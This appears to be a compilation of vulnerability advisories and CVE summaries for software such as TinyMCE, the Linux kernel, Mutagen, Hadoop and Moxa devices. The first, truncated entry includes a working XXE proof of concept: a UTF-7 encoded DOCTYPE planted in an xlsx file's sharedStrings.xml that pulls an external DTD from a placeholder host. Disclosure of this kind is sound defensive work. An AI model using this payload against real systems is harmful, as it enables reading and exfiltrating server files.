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### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use mi...
An issue was discovered in the Linux kernel through 5.16-rc6. kfd_parse_subtype_iolink in drivers/gpu/drm/amd/amdkfd/kfd_crat.c lacks check of the return value of kmemdup().
### Impact Mutagen projects offer shell-based execution functionality. On Windows, the shell is resolved using the standard `%ComSpec%` mechanism, with a fallback to a `%PATH%`-based search for `cmd.exe`. While this is the standard practice on Windows systems, it presents somewhat risky behavior. Firstly, `%ComSpec%` could, in theory, be set maliciously. Unfortunately, there's not much that can be done to prevent this attack surface, because `%ComSpec%` is the official mechanism for shell specification on Windows. We can, however, validate that it points to an absolute path, which one would expect for a properly set value. Secondly, a fallback to a relative `cmd.exe` path, resolved via `%PATH%`, could be risky. The risk is largely mitigated by changes in Go 1.19 and later, but prior to that a malicious `cmd.exe` could been resolved in the current working directory. To mitigate this issue, Mutagen now uses the `%SystemRoot%` environment variable (also validated to be an absolut...
An update for kpatch-patch is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-4028: kernel: use-after-free in RDMA listen() * CVE-2021-4083: kernel: fget: check that the fd still exists after getting a ref to it
A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.
### Impact A [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE’s content parsing code. This allowed specially crafted noscript elements containing malicious code to be executed when that content was loaded into the editor. ### Patches This vulnerability has been patched in TinyMCE 7.2.0, TinyMCE 6.8.4 and TinyMCE 5.11.0 LTS by ensuring that content within noscript elements are properly parsed. ### Fix To avoid this vulnerability: * Upgrade to TinyMCE 7.2.0 or higher. * Upgrade to TinyMCE 6.8.4 or higher for TinyMCE 6.x. * Upgrade to TinyMCE 5.11.0 LTS or higher for TinyMCE 5.x (only available as part of commercial [long-term support](https://www.tiny.cloud/long-term-support/) contract). ### Acknowledgements Tiny thanks [Malav Khatri](https://malavkhatri.com/) and another reporter for their help identifying this vulnerability. ### References * [TinyMCE 6.8.4](https://www.tiny.cloud/docs/tinymce/6/6.8.4-release-notes/#...
Moxa TN-5900 v3.1 series routers, MGate 5109 v2.2 series protocol gateways, and MGate 5101-PBM-MN v2.1 series protocol gateways were discovered to contain a memory leak which allows attackers to cause a Denial of Service (DoS) via crafted packets.
An issue was discovered in YottaDB through r1.32 and V7.0-000 and FIS GT.M through V7.0-000. Using crafted input, attackers can cause a type to be incorrectly initialized in the function f_incr in sr_port/f_incr.c and cause a crash due to a NULL pointer dereference.
Web endpoint authentication check is broken in Apache Hadoop 3.0.0-alpha4, 3.0.0-beta1, and 3.0.0. Authenticated users may impersonate any user even if no proxy user is configured.
Cross Site Scripting (XSS) vulnerability in Name Input Field in Contact Us form in Laborator Kalium before 3.0.4, allows remote attackers to execute arbitrary code.